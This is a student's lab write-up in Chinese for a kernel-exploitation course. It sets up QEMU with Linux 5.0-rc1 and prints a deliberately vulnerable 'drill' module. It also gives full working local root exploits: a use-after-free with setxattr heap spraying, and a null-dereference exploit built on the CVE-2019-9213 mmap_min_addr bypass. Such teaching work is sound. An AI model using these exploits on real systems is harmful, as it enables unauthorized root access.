网络安全综合实践Lab3-3

网络安全综合实践 - 操作系统内核漏洞利用 - 慕冬亮老师

实验环境

  • 虚拟机软件:VMware 16.2.3
  • 虚拟机操作系统:Ubuntu 20.04 LTS

大概会占用22G左右空间,建议一开始分配30G

由于编译过程有make -j8,建议分配多于4个处理器

安装QEMU虚拟机

sudo apt update
sudo apt install qemu qemu-kvm

编译Linux内核

sudo apt install build-essential flex bison bc libelf-dev libssl-dev libncurses5-dev gcc-8
wget https://github.com/torvalds/linux/archive/v5.0-rc1.tar.gz
tar -xvf v5.0-rc1.tar.gz
cd linux-v5.0-rc1
make x86_64_defconfig
make -j8 CC=gcc-8

img

QEMU虚拟机相关

建议直接使用脚本,可能启动脚本中需要有些东西需要改

使用脚本时记得sudo权限

startvm

#!/bin/bash

export KERNEL_HOME=/home/qeryu
export KERNEL=linux-5.0-rc1
export IMG_NAME=wheezy

#  -enable-kvm \
#  -cpu kvm64,smap \
qemu-system-x86_64 \
  -kernel $KERNEL_HOME/$KERNEL/arch/x86/boot/bzImage \
  -append "console=ttyS0 root=/dev/sda debug earlyprintk=serial slub_debug=QUZ pti=off oops=panic ftrace_dump_on_oops nokaslr"\
  -hda ${IMG_NAME}.img \
  -net user,hostfwd=tcp::10021-:22 -net nic \
  -nographic \
  -m 512M \
  -smp 2 \
  -pidfile vm.pid \
  2>&1 | tee vm.log

需要自己修改一下KERNEL_HOME

connectvm

#!/bin/bash

export IMG_NAME=wheezy

ssh -i ${IMG_NAME}.id_rsa -p 10021 -o "StrictHostKeyChecking no" drill@localhost

img

释放后使用漏洞利用

工具给的十分充分了,直接贴代码,这里是简单利用

原理

以下有关drill的操作均依赖于已经加载到img文件中的drill_mod

/*
 * One Kernel Module for Kernel Exploitment Experiments
 */

#include <linux/module.h>
#include <linux/slab.h>
#include <linux/debugfs.h>
#include <linux/uaccess.h>

#define ACT_SIZE 5

enum drill_act_t {
	DRILL_ACT_NONE = 0,
	DRILL_ACT_ALLOC = 1,
	DRILL_ACT_CALLBACK = 2,
	DRILL_ACT_FREE = 3,
	DRILL_ACT_RESET = 4
};

struct drill_t {
	struct dentry *dir;
	struct drill_item_t *item;
};

static struct drill_t drill; /* initialized by zeros */

#define DRILL_ITEM_SIZE 3300

struct drill_item_t {
	u32 foo;
	void (*callback)(void);
	char bar[1];
};

static void drill_callback(void) {
	pr_notice("normal drill_callback %lx!\n",
				(unsigned long)drill_callback);
}

static int drill_act_exec(long act)
{
	int ret = 0;

	switch (act) {
	case DRILL_ACT_ALLOC:
		drill.item = kmalloc(DRILL_ITEM_SIZE, GFP_KERNEL);
		if (drill.item == NULL) {
			pr_err("drill: not enough memory for item\n");
			ret = -ENOMEM;
			break;
		}

		pr_notice("drill: kmalloc'ed item at %lx (size %d)\n",
				(unsigned long)drill.item, DRILL_ITEM_SIZE);

		drill.item->callback = drill_callback;
		break;

	case DRILL_ACT_CALLBACK:
		pr_notice("drill: exec callback %lx for item %lx\n",
					(unsigned long)drill.item->callback,
					(unsigned long)drill.item);
		drill.item->callback(); /* No check, BAD BAD BAD */
		break;

	case DRILL_ACT_FREE:
		pr_notice("drill: free item at %lx\n",
					(unsigned long)drill.item);
		kfree(drill.item);
		break;

	case DRILL_ACT_RESET:
		drill.item = NULL;
		pr_notice("drill: set item ptr to NULL\n");
		break;

	default:
		pr_err("drill: invalid act %ld\n", act);
		ret = -EINVAL;
		break;
	}

	return ret;
}

static ssize_t drill_act_write(struct file *file, const char __user *user_buf,
						size_t count, loff_t *ppos)
{
	ssize_t ret = 0;
	char buf[ACT_SIZE] = { 0 };
	size_t size = ACT_SIZE - 1;
	long new_act = 0;

	BUG_ON(*ppos != 0);

	if (count < size)
		size = count;

	if (copy_from_user(&buf, user_buf, size)) {
		pr_err("drill: act_write: copy_from_user failed\n");
		return -EFAULT;
	}

	buf[size] = '\0';
	new_act = simple_strtol(buf, NULL, 0);

	ret = drill_act_exec(new_act);
	if (ret == 0)
		ret = count; /* success, claim we got the whole input */

	return ret;
}

static const struct file_operations drill_act_fops = {
	.write = drill_act_write,
};

static int __init drill_init(void)
{
	struct dentry *act_file = NULL;

	pr_notice("drill: start hacking\n");

	drill.dir = debugfs_create_dir("drill", NULL);
	if (drill.dir == ERR_PTR(-ENODEV) || drill.dir == NULL) {
		pr_err("creating drill dir failed\n");
		return -ENOMEM;
	}

	act_file = debugfs_create_file("drill_act", S_IWUGO,
					drill.dir, NULL, &drill_act_fops);
	if (act_file == ERR_PTR(-ENODEV) || act_file == NULL) {
		pr_err("creating drill_act file failed\n");
		debugfs_remove_recursive(drill.dir);
		return -ENOMEM;
	}

	return 0;
}

static void __exit drill_exit(void)
{
	pr_notice("drill: stop hacking\n");
	debugfs_remove_recursive(drill.dir);
}

module_init(drill_init)
module_exit(drill_exit)

MODULE_AUTHOR("Dongliang Mu <dzm91@hust.edu.cn>");
MODULE_DESCRIPTION("One Kernel Module for Kernel Exploitment Experiments");
MODULE_LICENSE("GPL v3");

drill模块有4个功能,分别对应

  1. kmalloc申请分配内存,让drill.item指向该部分内存,分配的空间由foo、callback、bar组成
  2. 调用drill模块的回调函数,输出该函数的地址
  3. kfree释放1中申请的内存
  4. 将1中的指向申请内存的指针置空

代码

drill_operations.c

这一片需要改的就是调用drill模块的1/2/3/4功能,检测一下能不能正常用

/*
 * Student ID: U201911667
 * Author: Qeryu
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <unistd.h>

int act(int fd, char code) {
    ssize_t bytes = 0;

    bytes = write(fd, &code, 1);
    if (bytes <= 0) {
        perror("[-] write");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

int main(void) {
    int ret = EXIT_FAILURE;

    // printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());

    // MDL: Use act function to implement the following commands
    // MDL: echo '1' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '2' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '3' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '4' > /sys/kernel/debug/drill/drill_act

    int fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
    act(fd, '1');
    act(fd, '2');
    act(fd, '3');
    act(fd, '4');

    return ret;
}

img

drill_exploit_uaf.c

需要改的内容:

  1. 对照drill_mod.c即可找到DRILL_ITEM_SIZE的值为3300

  2. 在qemu虚拟机外,查看编译的内核原码中的System.map文件可以找到这两个内容的地址

    image-20220518183545112

  3. 将drill_mod中关于drill_item_t的定义赋值过来,需要注意u32在这没定义,为了不添加新的库,改成uint_32

  4. 下面关于/sys/kernel/debug/drill/drill_act的操作和drill_operations.c一样

/*
 * Student ID: U201911667
 * Author: Qeryu
 */

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>

#define MMAP_SZ 0x2000
#define PAYLOAD_SZ 3300  // MDL: copy DRILL_ITEM_SIZE from kernel module

/* ============================== Kernel stuff ============================== */

/* Addresses from System.map (no KASLR) */
#define COMMIT_CREDS_PTR 0xffffffff81084370lu         // MDL: fix this symbol
#define PREPARE_KERNEL_CRED_PTR 0xffffffff810845a0lu  // MDL: fix this symbol

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long
    __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred =
    (_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;

void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2) {
    commit_creds(prepare_kernel_cred(0));
}

// MDL: copy the definition of drill_item_t here
struct drill_item_t {
    uint32_t foo;
    void (*callback)(void);
    char bar[1];
};
/* ========================================================================== */

void run_sh(void) {
    pid_t pid = -1;
    char *args[] = {"/bin/sh", "-i", NULL};
    int status = 0;

    pid = fork();

    if (pid < 0) {
        perror("[-] fork()");
        return;
    }

    if (pid == 0) {
        execve("/bin/sh", args, NULL); /* Should not return */
        perror("[-] execve");
        exit(EXIT_FAILURE);
    }

    if (wait(&status) < 0) perror("[-] wait");
}

void init_payload(char *p, size_t size) {
    struct drill_item_t *item = (struct drill_item_t *)p;

    memset(p, 0x41, size);

    item->callback = (uint64_t)root_it;

    printf("[+] payload:\n");
    printf("\tstart at %p\n", p);
    printf("\tcallback %lx\n", item->callback);
}

int act(int fd, char code) {
    ssize_t bytes = 0;

    bytes = write(fd, &code, 1);
    if (bytes <= 0) {
        perror("[-] write");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

int main(void) {
    unsigned char *spray_data = NULL;
    int ret = EXIT_FAILURE;
    int fd = -1;

    printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());

    spray_data = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
                      MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (spray_data == MAP_FAILED) {
        perror("[-] mmap failed");
        goto end;
    }

    init_payload(spray_data, MMAP_SZ);

    // MDL: echo '1' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '2' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '3' > /sys/kernel/debug/drill/drill_act
    fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
    act(fd, '1');
    act(fd, '2');
    act(fd, '3');

    // MDL: why do we call setxattr with such spray_data and PAYLOAD_SZ?
    ret = setxattr("./", "foobar", spray_data, PAYLOAD_SZ, 0);
    printf("setxattr returned %d\n", ret);

    // MDL: echo '2' > /sys/kernel/debug/drill/drill_act
    act(fd, '2');

    if (getuid() == 0 && geteuid() == 0) {
        printf("[+] finish as: uid=0, euid=0, start sh...\n");
        run_sh();
        ret = EXIT_SUCCESS;
    } else {
        printf("[-] need heap spraying\n");
    }

    printf("[+] The End\n");

end:
    if (fd >= 0) {
        ret = close(fd);
        if (ret != 0) perror("[-] close fd");
    }

    return ret;
}

img

空指针漏洞利用

原理

这里需要配合CVE-2019-9213使用

代码

drill_trigger_crash.c

/*
 * Student ID: U201911667
 * Author: Qeryu
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <unistd.h>

int act(int fd, char code) {
    ssize_t bytes = 0;

    bytes = write(fd, &code, 1);
    if (bytes <= 0) {
        perror("[-] write");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

int main(void) {
    int ret = EXIT_FAILURE;

    // printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());

    // MDL: Use act function to implement the following commands
    // MDL: echo '1' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '4' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '2' > /sys/kernel/debug/drill/drill_act

    int fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
    act(fd, '1');
    act(fd, '4');
    act(fd, '2');

    return ret;
}

img

nullmap.c

#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int main(void) {
    void *map =
        mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
             MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
    if (map == MAP_FAILED) err(1, "mmap");
    int fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1) err(1, "open");
    unsigned long addr = (unsigned long)map;
    while (addr != 0) {
        addr -= 0x1000;
        if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
        char cmd[1000];
        sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
        system(cmd);
    }
    system("head -n1 /proc/$PPID/maps");
    printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}

img

drill_exploit_nullderef.c

/*
 * Student ID: U201911667
 * Author: Qeryu
 *
 * Based on wonderful mmap_min_addr bypass by Jann Horn:
 *   https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
 */

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

/* ============================== Kernel stuff ============================== */

/* Addresses from System.map (no KASLR) */
#define COMMIT_CREDS_PTR 0xffffffff81084370lu         // MDL: fix this symbol
#define PREPARE_KERNEL_CRED_PTR 0xffffffff810845a0lu  // MDL: fix this symbol

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long
    __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred =
    (_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;

void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2) {
    commit_creds(prepare_kernel_cred(0));
}

struct drill_item_t {
    uint32_t foo;
    uint64_t callback;
    char bar[1];
};

/* ========================================================================== */

void run_sh(void) {
    pid_t pid = -1;
    char *args[] = {"/bin/sh", "-i", NULL};
    int status = 0;

    pid = fork();

    if (pid < 0) {
        perror("[-] fork()");
        return;
    }

    if (pid == 0) {
        execve("/bin/sh", args, NULL); /* Should not return */
        perror("[-] execve");
        exit(EXIT_FAILURE);
    }

    if (wait(&status) < 0) perror("[-] wait");
}

void init_payload(void *p) {
    struct drill_item_t *item = (struct drill_item_t *)p;

    item->callback = (uint64_t)root_it;

    printf("[+] payload:\n");
    printf("\tstart at %p\n", p);
    printf("\tcallback %lx\n", item->callback);
}

int act(int fd, char code) {
    ssize_t bytes = 0;

    bytes = write(fd, &code, 1);
    if (bytes <= 0) {
        perror("[-] write");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

int main(void) {
    int ret = EXIT_FAILURE;
    void *map = NULL;
    int mem_fd = -1;
    char cmd[1000];
    unsigned long addr = 0;
    int drill_fd = -1;

    printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());

    // MDL: copy the reproducer from the blog below to map zero address
    // MDL: https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
    map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
    if (map == MAP_FAILED) err(1, "mmap");
    mem_fd = open("/proc/self/mem", O_RDWR);
    if (mem_fd == -1) err(1, "open");
    addr = (unsigned long)map;
    while (addr != 0) {
        addr -= 0x1000;
        if (lseek(mem_fd, addr, SEEK_SET) == -1) err(1, "lseek");
        sprintf(cmd, "LD_DEBUG=help su 1>&%d", mem_fd);
        system(cmd);
    }

    printf("[+] /proc/$PPID/maps:\n");
    system("head -n1 /proc/$PPID/maps");
    printf("data at NULL: 0x%lx\n", *(unsigned long *)0);

    // MDL: echo '1' > /sys/kernel/debug/drill/drill_act
    // MDL: echo '4' > /sys/kernel/debug/drill/drill_act
    drill_fd = open("/sys/kernel/debug/drill/drill_act", O_WRONLY);
    act(drill_fd, '1');
    act(drill_fd, '4');

    init_payload((void *)NULL);

    // MDL: echo '2' > /sys/kernel/debug/drill/drill_act
    act(drill_fd, '2');

    if (getuid() == 0 && geteuid() == 0) {
        printf("[+] finish as: uid=0, euid=0, start sh...\n");
        run_sh();
        ret = EXIT_SUCCESS;
    } else {
        printf("[-] didn't get root\n");
        goto end;
    }

    printf("[+] The End\n");

end:
    if (drill_fd >= 0) {
        ret = close(drill_fd);
        if (ret != 0) perror("[-] close drill_fd");
    }

    if (mem_fd >= 0) {
        ret = close(mem_fd);
        if (ret != 0) perror("[-] close mem_fd");
    }

    return ret;
}

img